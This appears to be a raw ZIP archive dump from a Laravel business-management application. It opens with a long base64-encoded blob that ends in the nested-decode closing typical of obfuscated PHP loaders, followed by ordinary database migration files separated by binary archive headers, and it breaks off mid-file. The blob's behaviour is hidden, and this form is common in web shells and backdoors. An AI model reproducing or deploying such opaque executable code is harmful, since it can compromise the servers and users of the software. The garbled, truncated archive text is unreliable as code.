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'))))); ?>PK ���Z�wX�z z 2 migrations/2023_05_16_114755_file_upload_to_s3.phpnu �[��� <?php use App\Models\GlobalSetting; use App\Models\User; use App\Helper\Files; use App\Models\Company; use App\Models\Contract; use App\Models\Passport; use App\Models\VisaDetail; use App\Models\Appreciation; use App\Models\ContractSign; use App\Models\ProposalSign; use App\Models\SlackSetting; use App\Models\ClientDetails; use App\Models\AcceptEstimate; use App\Models\InvoiceSetting; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $files = [ [ 'model' => Company::class, 'columns' => [ [ 'name' => 'logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'light_logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'login_background', 'path' => 'login-background', ], [ 'name' => 'favicon', 'path' => 'favicon', ], ], ], [ 'model' => Appreciation::class, 'columns' => [ [ 'name' => 'image', 'path' => 'appreciation', ], ], ], [ 'model' => User::class, 'columns' => [ [ 'name' => 'image', 'path' => 'avatar', ], ], ], [ 'model' => ClientDetails::class, 'columns' => [ [ 'name' => 'company_logo', 'path' => 'client-logo', ], ], ], [ 'model' => Contract::class, 'columns' => [ [ 'name' => 'company_sign', 'path' => 'contract/sign', ], ], ], [ 'model' => VisaDetail::class, 'columns' => [ [ 'name' => 'file', 'path' => VisaDetail::FILE_PATH, ], ], ], [ 'model' => AcceptEstimate::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'estimate/accept', ], ], ], [ 'model' => ContractSign::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'contract/sign', ], ], ], [ 'model' => ProposalSign::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'proposal/sign', ], ], ], [ 'model' => InvoiceSetting::class, 'columns' => [ [ 'name' => 'logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'authorised_signatory_signature', 'path' => GlobalSetting::APP_LOGO_PATH, ], ], ], [ 'model' => Passport::class, 'columns' => [ [ 'name' => 'file', 'path' => Passport::FILE_PATH, ], ], ], [ 'model' => SlackSetting::class, 'columns' => [ [ 'name' => 'slack_logo', 'path' => 'slack-logo', ], ], ], ]; foreach ($files as $file) { $model = $file['model']; $columns = $file['columns']; Files::fixLocalUploadFiles($model, $columns); } } /** * Reverse the migrations. */ public function down(): void { // } }; PK ���Z�U!T� � = migrations/2024_10_01_055853_change_price_type_of_expense.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { DB::statement('ALTER TABLE expenses MODIFY price DOUBLE'); } /** * Reverse the migrations. */ public function down(): void { // } }; PK ���Z��3� � J migrations/2023_04_14_110419_add_send_status_column_in_proposals_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('proposals', function (Blueprint $table) { $table->boolean('send_status')->default(true); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('proposals', function (Blueprint $table) { $table->dropColumn('send_status'); }); } }; PK ���Z��t�[ [ G migrations/2024_04_17_064540_add_add_to_budget_column_in_proj_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { if (!Schema::hasColumn('deals', 'deal_watcher')) { Schema::table('deals', function (Blueprint $table) { $table->integer('deal_watcher')->nullable(); }); } if (!Schema::hasColumn('project_milestones', 'add_to_budget')) { Schema::table('project_milestones', function (Blueprint $table) { $table->enum('add_to_budget', ['yes', 'no'])->default('no')->after('status'); }); } Schema::table('leave_types', function (Blueprint $table) { $table->decimal('monthly_limit', 10, 2)->change(); }); Schema::table('project_time_logs', function (Blueprint $table) { $table->double('earnings', 16, 2)->change(); }); if (!Schema::hasColumn('attendance_settings', 'qr_enable')) { Schema::table('attendance_settings', function (Blueprint $table) { $table->enum('qr_enable', ['1', '0'])->default('1'); }); } } /** * Reverse the migrations. */ public function down(): void { } }; PK ���Zn�Rr ? migrations/2025_02_04_111756_add_leaves_to_reimburse_column.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->integer('leaves_to_reimburse')->default(0)->after('carry_forward_applied'); // This is the number of leaves that are to be reimbursed. Set this to 0 after reimbursing the leaves. $table->integer('leaves_actually_reimbursed')->default(0)->after('leaves_to_reimburse'); // This is the actual number of leaves that have been reimbursed. This is just for the record. }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->dropColumn('leaves_to_reimburse'); $table->dropColumn('leaves_actually_reimbursed'); }); } }; PK ���Z ��d} } G migrations/2024_07_12_053537_change_datatype_of_approvalsend_column.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('tasks', function (Blueprint $table) { $table->boolean('approval_send')->default(false)->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('tasks', function (Blueprint $table) { $table->enum('approval_send', ['0', '1'])->change(); }); } }; PK ���Z�y�>> > M migrations/2024_08_13_071923_add_column_to_employee_shift_rotations_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('employee_shift_rotations', function (Blueprint $table) { $table->enum('send_mail', ['yes', 'no'])->default('yes'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_shift_rotations'); } }; PK ���ZxI�V O migrations/2022_12_30_045028_add_number_separator_to_invoice_settings_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('invoice_settings', function (Blueprint $table) { $table->string('invoice_number_separator')->default('#')->after('invoice_prefix'); $table->string('estimate_number_separator')->default('#')->after('estimate_prefix'); $table->string('credit_note_number_separator')->default('#')->after('credit_note_prefix'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn('invoice_number_separator'); $table->dropColumn('estimate_number_separator'); $table->dropColumn('credit_note_number_separator'); }); } }; PK ���Z��� � L migrations/2024_09_13_092310_add_field_order_column_in_order_items_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { if (!Schema::hasColumn('order_items', 'field_order')) { Schema::table('order_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } if (!Schema::hasColumn('invoice_items', 'field_order')) { Schema::table('invoice_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } if (!Schema::hasColumn('estimate_items', 'field_order')) { Schema::table('estimate_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } if (!Schema::hasColumn('proposal_items', 'field_order')) { Schema::table('proposal_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('order_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('invoice_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('estimate_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('proposal_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); } }; PK ���Z }��� � I migrations/2024_03_22_125152_add_columns_to_attendance_settings_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { if (!Schema::hasColumn('attendance_settings', 'qr_enable')) { Schema::table('attendance_settings', function (Blueprint $table) { $table->enum('qr_enable', ['1', '0'])->default('1'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('attendance_settings', function (Blueprint $table) { // }); } }; PK ���ZGS�\� � K migrations/2024_02_04_074746_add_column_host_and_status_in_events_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('events', function (Blueprint $table) { $table->integer('host')->unsigned()->nullable()->after('end_date_time'); $table->foreign(['host'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('status', ['pending', 'completed', 'cancelled'])->default('pending')->after('host'); $table->string('note')->after('status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('events', function (Blueprint $table) { $table->dropColumn('host', 'status', 'note'); }); } }; PK ���ZM�@�� � I migrations/2022_12_13_071454_add_currency_id_in_currency_format_table.phpnu �[��� <?php use App\Models\Company; use App\Models\Currency; use App\Models\CurrencyFormatSetting; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('currencies', function (Blueprint $table) { $table->enum('currency_position', ['left', 'right', 'left_with_space', 'right_with_space'])->default('left'); $table->unsignedInteger('no_of_decimal'); $table->string('thousand_separator')->nullable(); $table->string('decimal_separator')->nullable(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $currencyFormat = CurrencyFormatSetting::where('company_id', $company->id)->first(); Currency::where('company_id', $company->id) ->update([ 'currency_position' => $currencyFormat->currency_position, 'no_of_decimal' => $currencyFormat->no_of_decimal, 'thousand_separator' => $currencyFormat->thousand_separator, 'decimal_separator' => $currencyFormat->decimal_separator ]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('currencies', function (Blueprint $table) { $table->dropColumn('currency_position'); $table->dropColumn('no_of_decimal'); $table->dropColumn('thousand_separator'); $table->dropColumn('decimal_separator'); }); } }; PK ���Zd��>� � 9 migrations/2022_12_01_070705_create_leave_files_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('leave_files', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('leave_files_user_id_foreign'); $table->unsignedInteger('leave_id')->index('leave_files_leave_id_foreign'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('leave_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('leave_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['leave_id'])->references(['id'])->on('leaves')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->double('no_of_leaves')->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('leave_files'); } }; PK ���Z �B�� � N migrations/2024_11_05_082725_add_client_id_column_in_client_contanct_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->unsignedInteger('is_client_contact')->nullable()->index('users_is_client_contact_index'); $table->foreign('is_client_contact')->references('id')->on('client_contacts')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::table('client_contacts', function (Blueprint $table) { $table->unsignedInteger('client_id')->nullable()->index('client_contacts_client_id_index'); $table->foreign('client_id')->references('id')->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { } }; PK ���Z1 � U migrations/2024_06_05_051512_add_ticket_round_robin_status_to_lead_settings_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('lead_setting', function (Blueprint $table) { $table->tinyInteger('ticket_round_robin_status')->default(0)->notNull(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('lead_setting', function (Blueprint $table) { $table->dropColumn('ticket_round_robin_status'); }); } }; PK ���Z��� D migrations/2023_02_13_045833_add_report_column_in_log_time_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('log_time_for', function (Blueprint $table) { $table->boolean('timelog_report')->after('tracker_reminder'); $table->string('daily_report_roles')->nullable()->after('timelog_report'); }); Schema::table('users_chat', function (Blueprint $table) { $table->boolean('notification_sent')->default(1); }); Schema::table('message_settings', function (Blueprint $table) { $table->boolean('send_sound_notification')->default(0); }); DB::statement("ALTER TABLE smtp_settings CHANGE COLUMN mail_encryption mail_encryption ENUM('ssl', 'tls','starttls') NULL DEFAULT 'tls'"); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('log_time_for', function (Blueprint $table) { $table->dropColumn('timelog_report'); $table->dropColumn('daily_report_roles'); }); Schema::table('users_chat', function (Blueprint $table) { $table->dropColumn('notification_sent'); }); Schema::table('message_settings', function (Blueprint $table) { $table->dropColumn('send_sound_notification'); }); } }; PK ���Zyb�/� � G migrations/2022_08_26_053139_add_parent_id_column_designation_table.phpnu �[��� <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('designations', function (Blueprint $table) { $table->integer('parent_id')->unsigned()->nullable()->after('name'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('designations', function (Blueprint $table) { $table->dropColumn('parent_id'); }); } }; PK ���Z�B�� ; migrations/2023_04_18_124728_create_mention_users_table.phpnu �[��� <?php use App\Models\Company; use App\Models\EmailNotificationSetting; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('mention_users', function (Blueprint $table) { $table->id(); $table->integer('task_comment_id')->unsigned()->nullable(); $table->foreign('task_comment_id')->references('id')->on('task_comments') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('task_note_id')->unsigned()->nullable(); $table->foreign('task_note_id')->references('id')->on('task_notes') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('task_id')->unsigned()->nullable(); $table->foreign('task_id')->references('id')->on('tasks') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('project_id')->unsigned()->nullable(); $table->foreign('project_id')->references('id')->on('projects') ->onDelete('cascade') ->onUpdate('cascade'); 